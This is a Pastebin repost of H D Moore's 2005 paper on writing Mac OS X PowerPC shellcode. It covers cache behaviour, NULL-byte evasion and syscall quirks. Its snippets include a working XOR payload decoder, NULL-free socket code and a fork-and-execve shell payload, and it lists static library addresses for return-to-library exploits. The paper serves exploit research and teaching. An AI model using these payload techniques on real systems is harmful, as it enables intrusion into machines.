Advertisement
BaSs_HaXoR

Mac OS X PPC Shellcode Tricks (HDM_5-9-05)

Jan 24th, 2017
438
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.74 KB | None | 0 0
  1. ; # ------------------------------------------------------------------------------------------------------ # ;
  2. Mac OS X PPC Shellcode Tricks
  3. H D Moore
  4. hdm[at]metasploit.com
  5. Last modified: 05/09/2005
  6.  
  7. ; # ------------------------------------------------------------------------------------------------------ # ;
  8. 0) Foreword
  9.  
  10. Abstract:
  11. Developing shellcode for Mac OS X is not particularly difficult, but there are
  12. a number of tips and techniques that can make the process easier and more eff
  13. ective. The independent data and instruction caches of the PowerPC processor
  14. can cause a variety of problems with exploit and shellcode development. The
  15. common practice of patching opcodes at run-time is much more involved when the
  16. instruction cache is in incoherent mode. NULL-free shellcode can be improved by
  17. taking advantage of index registers and the reserved bits found in many
  18. opcodes, saving space otherwise taken by standard NULL evasion techniques. The
  19. Mac OS X operating system introduces a few challenges to unsuspecting
  20. developers; system calls change their return address based on whether they
  21. succeed and oddities in the Darwin kernel can prevent standard execve()
  22. shellcode from working properly with a threaded process. The virtual memory
  23. layout on Mac OS X can be abused to overcome instruction cache obstacles and
  24. develop even smaller shellcode.
  25.  
  26. Thanks:
  27. The author would like to thank B-r00t, Dino Dai Zovi, LSD, Palante, Optyx, and
  28. the entire Uninformed Journal staff.
  29.  
  30. ; # ------------------------------------------------------------------------------------------------------ # ;
  31. 1) Introduction
  32.  
  33. With the introduction of Mac OS X, Apple has been viewed with mixed feelings by
  34. the security community. On one hand, the BSD core offers the familiar Unix
  35. security model that security veterans already understand. On the other, the
  36. amount of proprietary extensions, network-enabled software, and growing mass of
  37. advisories is giving some a cause for concern. Exploiting buffer overflows,
  38. format strings, and other memory-corruption vulnerabilities on Mac OS X is a
  39. bit different from what most exploit developers are familiar with. The
  40. incoherent instruction cache, combined with the RISC fixed-length instruction
  41. set, raises the bar for exploit and payload developers.
  42.  
  43. On September 12th of 2003, B-r00t published a paper titled "Smashing the Mac
  44. for Fun and Profit". B-root's paper covered the basics of Mac OS X shellcode
  45. development and built on the PowerPC work by LSD, Palante, and Ghandi. This
  46. paper is an attempt to extend, rather than replace, the material already
  47. available on writing shellcode for the Mac OS X operating system. The first
  48. section covers the fundamentals of the PowerPC architecture and what you need
  49. to know to start writing shellcode. The second section focuses on avoiding NULL
  50. bytes and other characters through careful use of the PowerPC instruction set.
  51. The third section investigates some of the unique behavior of the Mac OS X
  52. platform and introduces some useful techniques.
  53.  
  54. ; # ------------------------------------------------------------------------------------------------------ # ;
  55. 2) PowerPC Basics
  56.  
  57. The PowerPC (PPC) architecture uses a reduced instruction set consisting of
  58. 32-bit fixed-width opcodes. Each opcode is exactly four bytes long and can only
  59. be executed by the processor if the opcode is word-aligned in memory.
  60.  
  61.  
  62. ; # ------------------------------------------------------------------------------------------------------ # ;
  63. 2.1) Registers
  64.  
  65. PowerPC processors have thirty-two 32-bit general-purpose registers (r0-r31)
  66. PowerPC 64-bit processors have 64-bit general-purpose registers, but still use
  67. 32-bit opcodes, thirty-two 64-bit floating-point registers (f0-f31), a link
  68. register (lr), a count register (ctr), and a handful of other registers for
  69. tracking things like branch conditions, integer overflows, and various machine
  70. state flags. Some PowerPC processors also contain a vector-processing unit
  71. (AltiVec, etc), which can add another thirty-two 128-bit registers to the set.
  72.  
  73.  
  74. On the Darwin/Mac OS X platform, r0 is used to store the system call number, r1
  75. is used as a stack pointer, and r3 to r7 are used to pass arguments to a system
  76. call. General-purpose registers between r3 and r12 are considered volatile and
  77. should be preserved before the execution of any system call or library
  78. function.
  79.  
  80. ;;
  81. ;; Demonstrate execution of the reboot system call
  82. ;;
  83. main:
  84. li r0, 55 ; #define SYS_reboot 55
  85. sc
  86.  
  87. ; # ------------------------------------------------------------------------------------------------------ # ;
  88. 2.2) Branches
  89.  
  90. Unlike the IA32 platform, PowerPC does not have a call or jmp instruction.
  91. Execution flow is controlled by one of the many branch instructions. A branch
  92. can redirect execution to a relative address, absolute address, or the value
  93. stored in either the link or count registers. Conditional branches are
  94. performed based on one of four bit fields in the condition register. The count
  95. register can also be used as a condition for branching and some instructions
  96. will automatically decrement the count register. A branch instruction can
  97. automatically set the link register to be the address following the branch,
  98. which is a very simple way to get the absolute address of any relative location
  99. in memory.
  100.  
  101. ;;
  102. ;; Demonstrate GetPC() through a branch and link instruction
  103. ;;
  104. main:
  105.  
  106. xor. r5, r5, r5 ; xor r5 with r5, storing the value in r5
  107. ; the condition register is updated by the . modifier
  108. ppcGetPC:
  109. bnel ppcGetPC ; branch if condition is not-equal, which will be false
  110. ; the address of ppcGetPC+4 is now in the link register
  111.  
  112. mflr r5 ; move the link register to r5, which points back here
  113.  
  114.  
  115. ; # ------------------------------------------------------------------------------------------------------ # ;
  116. 2.3) Memory
  117.  
  118. Memory access on PowerPC is performed through the load and store instructions.
  119. Immediate values can be loaded to a register or stored to a location in memory,
  120. but the immediate value is limited to 16 bits. When using a load instruction on
  121. a non-immediate value, a base register is used, followed by an offset from that
  122. register to the desired location. Store instructions work in a similar fashion;
  123. the value to be stored is placed into a register, and the store instruction
  124. then writes that value to the destination register plus an offset value.
  125. Multi-word memory instructions exist, but are considered bad practice to use,
  126. since they may not be supported in future PowerPC processors.
  127.  
  128. Since each PowerPC instruction is 32 bits wide, it is not possible to load a
  129. 32-bit address into a register with a single instruction. The standard method
  130. of loading a full 32-bit value requires a load-immediate-shift (lis) followed
  131. by an or-immediate (ori). The first instruction loads the high 16 bits, while
  132. the second loads the lower 16 bits Some people prefer to use
  133. add-immediate-shift against the r0 general purpose register. The r0 register
  134. has a special property in that anytime it is used for addition or substraction,
  135. it is treated as a zero, regardless of the current value 64-bit PowerPC
  136. processors require five separate instructions to load a 32-bit immediate value
  137. into a general-purpose register. This 16-bit limitation also applies to
  138. relative branches and every other instruction that uses an immediate value.
  139.  
  140. ;;
  141. ;; Load a 32-bit immediate value and store it to the stack
  142. ;;
  143. main:
  144.  
  145. lis r5, 0x1122 ; load the high bits of the value
  146. ; r5 contains 0x11220000
  147.  
  148. ori r5, r5, 0x3344 ; load the low bits of the value
  149. ; r5 now contains 0x11223344
  150.  
  151. stw r5, 20(r1) ; store this value to SP+20
  152. lwz r3, 20(r1) ; load this value back to r3
  153.  
  154.  
  155. ; # ------------------------------------------------------------------------------------------------------ # ;
  156. 2.4) L1 Cache
  157.  
  158. The PowerPC processor uses one or more on-chip memory caches to accelerate
  159. access to frequently referenced data and instructions. This cache memory is
  160. separated into a distinct data and instruction cache. Although the data cache
  161. operates in coherent mode on Mac OS X, shellcode developers need to be aware of
  162. how the data cache and the instruction cache interoperate when executing
  163. self-modifying code.
  164.  
  165. As a superscalar architecture, the PowerPC processor contains multiple
  166. execution units, each of which has a pipeline. The pipeline can be described as
  167. a conveyor belt in a factory; as an instruction moves down the belt, specific
  168. steps are performed. To increase the efficiency of the pipeline, multiple
  169. instructions can put on the belt at the same time, one behind another. The
  170. processor will attempt to predict which direction a branch instruction will
  171. take and then feed the pipeline with instructions from the predicted path. If
  172. the prediction was wrong, the contents of the pipeline are trashed and correct
  173. instructions are loaded into the pipeline instead.
  174.  
  175. This pipelined execution means that more than one instruction can be processed
  176. at the same time in each execution unit. If one instruction requires the output
  177. of another, a gap can occur in the pipeline while these dependencies are
  178. satisfied. In the case of store instruction, the contents of the data cache
  179. will be updated before the results are flushed back to main memory. If a load
  180. instruction is executed directly after the store, it will obtain the
  181. newly-updated value. This occurs because the load instruction will read the
  182. value from the data cache, where it has already been updated.
  183.  
  184. The instruction cache is a different beast altogether. On the PowerPC platform,
  185. the instruction cache is incoherent. If an executable region of memory is
  186. modified and that region is already loaded into the instruction cache, the
  187. modifed instructions will not be executed unless the cache is specifically
  188. flushed. The instruction cache is filled from main memory, not the data cache.
  189. If you attempt to modify executable code through a store instruction, flush the
  190. cache, and then attempt to execute that code, there is still a chance that the
  191. original, unmodified code will be executed instead. This can occur because the
  192. data cache was not flushed back to main memory before the instruction cache was
  193. filled.
  194.  
  195. The solution is a bit tricky, you must use the "dcbf" instruction to invalidate
  196. each block of memory from the data cache, wait for the invalidation to complete
  197. with the "sync" instruction, and then flush the instruction cache for that
  198. block with "icbi". Finally, the "isync" instruction needs to be executed before
  199. the modified code is actually used. Placing these instructions in any other
  200. order may result in stale data being left in the instruction cache. Due to
  201. these restrictions, self-modifying shellcode on the PowerPC platform is rare
  202. and often unreliable.
  203.  
  204. The example below is a working PowerPC shellcode decoder included with the
  205. Metasploit Framework (OSXPPCLongXOR).
  206.  
  207. ;;
  208. ;; Demonstrate a cache-safe payload decoder
  209. ;; Based on Dino Dai Zovi's PPC decoder (20030821)
  210. ;;
  211. main:
  212. xor. r5, r5, r5 ; Ensure that the cr0 flag is always 'equal'
  213. bnel main ; Branch if cr0 is not-equal and link to LMain
  214. mflr r31 ; Move the address of LMain into r31
  215. addi r31, r31, 68+1974 ; 68 = distance from branch -> payload
  216. ; 1974 is null eliding constant
  217. subi r5, r5, 1974 ; We need this for the dcbf and icbi
  218. lis r6, 0x9999 ; XOR key = hi16(0x99999999)
  219. ori r6, r6, 0x9999 ; XOR key = lo16(0x99999999)
  220. addi r4, r5, 1974 + 4 ; Move the number of words to code into r4
  221. mtctr r4 ; Set the count register to the word count
  222.  
  223. xorlp:
  224. lwz r4, -1974(r31) ; Load the encoded word into memory
  225. xor r4, r4, r6 ; XOR this word against our key in r6
  226. stw r4, -1974(r31) ; Store the modified work back to memory
  227. dcbf r5, r31 ; Flush the modified word to main memory
  228. .long 0x7cff04ac ; Wait for the data block flush (sync)
  229. icbi r5, r31 ; Invalidate prefetched block from i-cache
  230.  
  231. subi r30, r5, -1978 ; Move to next word without using a NULL
  232. add. r31, r31, r30
  233.  
  234. bdnz- xorlp ; Branch if --count == 0
  235. .long 0x4cff012c ; Wait for i-cache to synchronize (isync)
  236.  
  237. ; Insert XORed payload here
  238. .long (0x7fe00008 ^ 0x99999999)
  239.  
  240. ; # ------------------------------------------------------------------------------------------------------ # ;
  241. 3) Avoiding NULLs
  242.  
  243. One of the most common problems encountered with shellcode development in
  244. general and RISC processors in particular is avoiding NULL bytes in the
  245. assembled code. On the IA32 platform, NULL bytes are fairly easy to dodge,
  246. mostly due to the variable-length instruction set and multiple opcodes
  247. available for a given task. Fixed-width opcode architectures, like PowerPC,
  248. have fixed field sizes and often pad those fields with all zero bits.
  249. Instructions that have a set of undefined bits often set these bits to zero as
  250. well. The result is that many of the available opcodes are impossible to use
  251. with NULL-free shellcode without modification.
  252.  
  253. On many platforms, self-modifying code can be used to work around NULL byte
  254. restrictions. This technique is not useful for single-instruction patching on
  255. PowerPC, since the instruction pre-fetch and instruction cache can result in
  256. the non-modified instruction being executed instead.
  257.  
  258.  
  259. ; # ------------------------------------------------------------------------------------------------------ # ;
  260. 3.1) Undefined Bits
  261.  
  262. To write interesting shellcode for Mac OS X, you need to use system calls. One
  263. of the first problems encountered with the PowerPC platform is that the system
  264. call instruction assembles to 0x44000002, which contains two NULL bytes. If we
  265. take a look at the IBM PowerPC reference for the 'sc' instruction, we see that
  266. the bit layout is as follows:
  267.  
  268. 010001 00000 00000 0000 0000000 000 1 0
  269. ------ ----- ----- ---- ------- --- - -
  270. A B C D E F G H
  271.  
  272. These 32 bits are broken down into eight specific fields. The first field (A),
  273. which is 5 bits wide, must be set to the value 17. The bits that make up B, C,
  274. and D are all marked as undefined. Field E is must either be set to 1 or 0.
  275. Fields F and H are undefined, and G must always be set to 1. We can modify the
  276. undefined bits to anything we like, in order to make the corresponding byte
  277. values NULL-free. The first step is to reorder these bits along byte boundaries
  278. and mark what we are able to change.
  279.  
  280. ? = undefined
  281. # = zero or one
  282. [010001??] [????????] [????0000] [00#???1?]
  283.  
  284. The first byte of this instruction can be either 68, 69, 70, or 71 (DEFG). The
  285. second byte can be any character at all. The third byte can either be 0, 16,
  286. 32, 48, 64, 80, 96, 112, 128, 144, 160, 176, 192, 208, 224, or 240 (which
  287. contains '0', 'P', and 'p', among others). The fourth value can be any of the
  288. following values: 2, 3, 6, 7, 10, 11, 14, 15, 18, 19, 22, 23, 26, 27, 30, 31,
  289. 34, 35, 38, 39, 42, 43, 46, 47, 50, 51, 54, 55, 58, 59, 62, 63. As you can see,
  290. it is possible to create thousands of different opcodes that are all treated by
  291. the processor as a system call. The same technique can be applied to almost any
  292. other instruction that has undefined bits. Although the current line of PowerPC
  293. chips used with Mac OS X seem to ignore the undefined bits, future processors
  294. may actually use these bits. It is entirely possible that undefined bit abuse
  295. can prevent your code from working on newer processors
  296.  
  297. ;;
  298. ;; Patching the undefined bits in the 'sc' opcode
  299. ;;
  300. main:
  301. li r0, 1 ; sys_exit
  302. li r3, 0 ; exit status
  303. .long 0x45585037 ; sc patched as "EXP7"
  304.  
  305.  
  306. ; # ------------------------------------------------------------------------------------------------------ # ;
  307. 3.2) Index Registers
  308.  
  309. On the PowerPC platform, immediate values are encoded using all 16 bits. If the
  310. assembled value of your immediate contains a NULL, you will need to find another
  311. way to load it into the target register. The most common technique is to first
  312. load a NULL-free value into a register, then substract that value minus the
  313. difference to your immediate.
  314.  
  315. ;;
  316. ;; Demonstrate index register usage
  317. ;;
  318. main:
  319. li r7, 1999 ; place a NULL-free value into the index
  320. subi r5, r7, 1999-1 ; substract our value minus the target
  321. ; the r5 register is now set to 1
  322.  
  323. If you have a rough idea of the immediate values you will need in your
  324. shellcode, you can take this a step further. Set your initial index register to
  325. a value, that when decremented by the immediate value, actually results in a
  326. character of your choice. If you have two distant ranges (1-10 and 50-60), then
  327. consider using two index registers. The example below demonstrates an index
  328. register that works for the system call number as well as the arguments,
  329. leaving the assembled bytes NULL-free. As you can see, besides the four bytes
  330. required to set the index register, this method does not significantly increase
  331. the size of the code.
  332.  
  333. ;;
  334. ;; Create a TCP socket without NULL bytes
  335. ;;
  336. main:
  337. li r7, 0x3330 ; 0x38e03330 = NULL-free index value
  338. subi r0, r7, 0x3330-97 ; 0x3807cd31 = system call for sys_socket
  339. subi r3, r7, 0x3330-2 ; 0x3867ccd2 = socket domain
  340. subi r4, r7, 0x3330-1 ; 0x3887ccd1 = socket type
  341. subi r5, r7, 0x3330-6 ; 0x38a7ccd6 = socket protocol
  342. .long 0x45585037 ; patched 'sc' instruction
  343.  
  344.  
  345. ; # ------------------------------------------------------------------------------------------------------ # ;
  346. 3.3) Branching
  347.  
  348. Branching to a forward address without using NULL bytes can be tricky on
  349. PowerPC systems. If you try branching forward, but less than 256 bytes, your
  350. opcode will contain a NULL. If you obtain your current address and want to
  351. branch to an offset from it, you will need to place the target address into the
  352. count register (ctr) or the link register (lr). If you decide to use the link
  353. register, you will notice that every valid form of "blr" has a NULL byte. You
  354. can avoid the NULL byte by setting the branch hint bits (19-20) to "11"
  355. (unpredictable branch, do not optimize). The resulting opcode becomes
  356. 0x4e804820 instead of 0x4e800020 for the standard "blr" instruction.
  357.  
  358. The branch prediction bit (bit 10) can also come in handy, it is useful if you
  359. need to change the second byte of the branch instruction to a different
  360. character. The prediction bit tells the processor how likely it is that the
  361. instruction will result in a branch. To specify the branch prediction bit in
  362. the assembly source, just place '-' or '+' after the branch instruction.
  363.  
  364.  
  365. ; # ------------------------------------------------------------------------------------------------------ # ;
  366. 4) Mac OS X Tricks
  367.  
  368. This section describes a handful of tips and tricks for writing shellcode on
  369. the Mac OS X platform.
  370.  
  371.  
  372. ; # ------------------------------------------------------------------------------------------------------ # ;
  373. 4.1) Diagnostic Tools
  374.  
  375. Mac OS X includes a solid collection of development and diagnostic tools, many
  376. of which are invaluable for shellcode and exploit development. The list below
  377. describes some of the most commonly used tools and how they relate to shellcode
  378. development.
  379.  
  380. Xcode: This package includes 'gdb', 'gcc', and 'as'. Sadly, objdump is not
  381. included and most disassembly needs to be done with 'gdb' or 'otool'.
  382. ktrace: The ktrace and kdump tools are equivalent to strace on Linux and truss
  383. on Solaris. There is no better tool for quickly diagnosing shellcode
  384. bugs.
  385. vmmap: If you were looking for the equivalent of /proc/pid/maps, you found it.
  386. Use vmmap to figure out where the heap, library, and stacks are mapped.
  387. crashreporterd: This daemon runs by default and creates very nice crash dumps
  388. when a system service dies. Invaluable for finding 0-day in Mac OS X
  389. services. The crashdump logs can be found in /Library/Logs/CrashReporter.
  390. heap: Quickly list all heaps in a process. This can be handy when the
  391. instruction cache prevents a direct return and you need to find an
  392. alternate shellcode location.
  393. otool: List all libraries linked to a given binary, disassemble mach-o
  394. binaries, and display the contents of any section of an executable or
  395. library. This is the equivalent of 'ldd' and 'objdump' rolled into a
  396. single utility
  397.  
  398.  
  399. ; # ------------------------------------------------------------------------------------------------------ # ;
  400. 4.2) System Call Failure
  401.  
  402. An interesting feature of Mac OS X is that a successful system call will return
  403. to the address 4 bytes after the end of 'sc' instruction and a failed system
  404. call will return directly after the 'sc' instruction. This allows you to
  405. execute a specific instruction only when the system call fails. The most common
  406. application of this feature is to branch to an error handler, although it can
  407. also be used to set a flag or a return value. When writing shellcode, this
  408. feature is usually more annoying than anything else, since it boosts the size
  409. of your code by four bytes per system call. In some cases though, this feature
  410. can be used to shave an instruction or two off the final payload.
  411.  
  412.  
  413. ; # ------------------------------------------------------------------------------------------------------ # ;
  414. 4.3) Threads and Execve
  415.  
  416. Mac OS X has an undocumented behavior concerning the execve() system call
  417. inside a threaded process. If a process tries to call execve() and has more
  418. than one active thread, the kernel returns the error EOPNOTSUPP. After a closer
  419. look at kernexec.c in the Darwin XNU source code, it becomes apparent that for
  420. shellcode to function properly inside a threaded process, it will need to call
  421. either fork() or vfork() before calling execve().
  422.  
  423. ;;
  424. ;; Fork and execute a command shell
  425. ;;
  426. main:
  427. _fork:
  428. li r0, 2
  429. sc
  430. b _exitproc
  431.  
  432. _execsh: ; based on ghandi's execve
  433. xor. r5, r5, r5
  434. bnel _execsh
  435. mflr r3
  436. addi r3, r3, 32 ; 32
  437. stw r3, -8(r1) ; argv[0] = path
  438. stw r5, -4(r1) ; argv[1] = NULL
  439. subi r4, r1, 8 ; r4 = {path, 0}
  440. li r0, 59
  441. sc ; execve(path, argv, NULL)
  442. b _exitproc
  443.  
  444. _path:
  445. .ascii "/bin/csh" ; csh handles seteuid() for us
  446. .long 0
  447.  
  448. _exitproc:
  449. li r0, 1
  450. li r3, 0
  451. sc
  452.  
  453. ; # ------------------------------------------------------------------------------------------------------ # ;
  454. 4.4) Shared Libraries
  455.  
  456. The Mac OS X user community tends to have one thing in common -- they keep
  457. their systems up to date. The Apple Software Update service, once enabled, is
  458. very insistent about installing new software releases as they become available.
  459. The result is that nearly every single Mac OS X system has the exact same
  460. binaries. System libraries are often loaded at the exact same virtual address
  461. across all applications. In this sense, Mac OS X is starting to resemble the
  462. Windows platform.
  463.  
  464. If all processes on all Mac OS X system have the same virtual addresses for the
  465. same libraries, Windows-style shellcode starts to become possible. Assuming you
  466. can find the right argument-setting code in a shared library, return-to-library
  467. payloads also become much more feasible. These libraries can be used as return
  468. addresses, similar to how Windows exploits often return back to a loaded DLL.
  469. Some useful addresses are listed below:
  470.  
  471.  
  472. 0x90000000: The base address of the system library (libSystem.B.dylib), most
  473. of the function locations are static across all versions of OS X.
  474. 0xffff8000: The base address of the "common" page. A number of useful
  475. functions and instructions can be found here. These functions
  476. include memcpy, sysdcacheflush, sysicacheinvalidate, and bcopy.
  477.  
  478.  
  479. The following NULL-free example uses the sysicacheinvalidate function to flush
  480. 1040 bytes from the instruction cache, starting at the address of the payload:
  481.  
  482. ;;
  483. ;; Flush the instruction cache in 32 bytes
  484. ;;
  485. main:
  486. _main:
  487. xor. r5, r5, r5
  488. bnel main
  489. mflr r3
  490.  
  491. ;; flush 1040 bytes starting after the branch
  492. li r4, 1024+16
  493.  
  494. ;; 0xffff8520 is __sys_icache_invalidate()
  495. addis r8, r5, hi16(0xffff8520)
  496. ori r8, r8, lo16(0xffff8520)
  497. mtctr r8
  498. bctrl
  499.  
  500.  
  501. ; # ------------------------------------------------------------------------------------------------------ # ;
  502. 5) Conclusion
  503.  
  504. In the first section, we covered the fundamentals of the PowerPC platform and
  505. described the syscall calling convention used on the Darwin/Mac OS X platform.
  506. The second section introduced a few techniques for removing NULL bytes from
  507. some common instructions. In the third section, we presented some of the tools
  508. and techniques that can be useful for shellcode development.
  509.  
  510. ; # ------------------------------------------------------------------------------------------------------ # ;
  511. Bibliography
  512.  
  513. B-r00t PowerPC / OSX (Darwin) Shellcode Assembly.
  514. http://packetstormsecurity.org/shellcode/PPC_OSX_Shellcode_Assembly.pdf
  515.  
  516. Bunda, Potter, Shadowen Powerpc Microprocessor Developer\'s Guide.
  517. http://www.amazon.com/exec/obidos/tg/detail/-/0672305437/
  518.  
  519. Steve Heath Newnes Power PC Programming Pocket Book.
  520. http://www.amazon.com/exec/obidos/tg/detail/-/0750621117/
  521.  
  522. IBM PowerPC Assembler Language Reference.
  523. http://publib16.boulder.ibm.com/pseries/en_US/aixassem/alangref/mastertoc.htm
  524. ; # ------------------------------------------------------------------------------------------------------ # ;
  525. SRC: https://hdm.io/writing/uninformed_1_macosx_ppc_shellcode.txt
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement